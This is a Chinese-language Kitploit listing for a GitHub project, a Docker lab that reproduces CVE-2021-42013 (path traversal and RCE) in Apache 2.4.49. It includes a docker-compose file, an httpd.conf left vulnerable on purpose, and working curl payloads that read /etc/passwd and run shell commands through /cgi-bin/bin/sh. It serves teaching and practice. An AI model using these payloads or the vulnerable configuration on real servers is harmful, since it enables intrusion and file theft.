Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
apache-cve-2021-42013-rce — 基于 Docker 的渗透测试实验室,用于在 Apache HTTP Server(2.4.49)上模拟 CVE-2021-42013 漏洞(路径遍历与远程代码执行)。 | Kitploit
工具/GitHubGitHub/zeynepglygt/apache-cve-2021-42013-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubzeynepglygt/apache-cve-2021-42013-rce

apache-cve-2021-42013-rce

基于 Docker 的渗透测试实验室,用于在 Apache HTTP Server(2.4.49)上模拟 CVE-2021-42013 漏洞(路径遍历与远程代码执行)。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
6个月前尚未审核
分享

apache-cve-2021-42013-rce

基于 Docker 的渗透测试实验室,用于模拟 Apache HTTP Server (2.4.49) 上的 CVE-2021-42013 漏洞 (Path Traversal & RCE)。 本项目旨在隔离环境中模拟并利用 (exploit) Apache HTTP Server (2.4.49) 上的 CVE-2021-42013 漏洞。研究过程中搭建了一个名为 docker-exploit-lab 的专用实验室环境,攻击场景通过同一网络中的受害者 (victim) 和攻击者 (attacker) 两台机器进行。

项目结构与安装文件

我们的实验室包含两个基本配置文件:定义 Victim/Attacker 机器的 Docker Compose 文件,以及使 Apache 服务器存在漏洞的配置文件。

1. docker-compose.yml

该文件在 172.20.0.0/16 子网中创建一个隔离环境。攻击者机器启动时会自动安装攻击所需的 curl 工具。

root@kitploit:~
services:
  victim:
    image: httpd:2.4.49
    container_name: victim-box
    volumes:
      - ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
    networks:
      lab_net:
        ipv4_address: 172.20.0.2
  attacker:
    command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
    image: kalilinux/kali-rolling
    container_name: attacker-box
    tty: true
    networks:
      lab_net:
        ipv4_address: 172.20.0.3
networks:
  lab_net:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/16

2. my-httpd.conf

为了能够触发漏洞,我们对根目录 () 和 CGI 目录授予了 Require all granted 权限,从而故意让服务器存在漏洞。 (重要提示:为避免出错,请确保该文件以不含 BOM (Byte Order Mark) 字符的纯 UTF-8 格式保存。)

Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted

实验室启动与攻击阶段

要启动系统,请在当前工作目录下于终端中运行以下命令:
docker compose up -d 系统启动后,我们进入将要运行攻击命令的 Kali Linux 机器: Bash docker exec -it attacker-box /bin/bash

1. 阶段:Path Traversal (目录穿越)

在 Kali 机器内部,我们向目标机器的固定 IP 地址 (172.20.0.2) 发送 URL 编码字符 (.%%32%65),从而触发目录穿越漏洞并读取 /etc/passwd 文件: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

2. 阶段:RCE (远程代码执行)

由于我们在 Apache 配置中为 CGI 目录授予了权限,因此可以通过 /cgi-bin/ 使用相同的目录穿越逻辑,在服务器上直接执行 shell 命令。要运行 id 命令: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" 获得的成功输出:uid=1(daemon) gid=1(daemon) groups=1(daemon)

结论

本研究通过实践演示了,在未更新的 Web 服务器上,一个看似无害的 Path Traversal 漏洞与错误配置的 CGI 模块权限相结合时,如何演变为完全权限的远程代码执行 (RCE)。

下载工具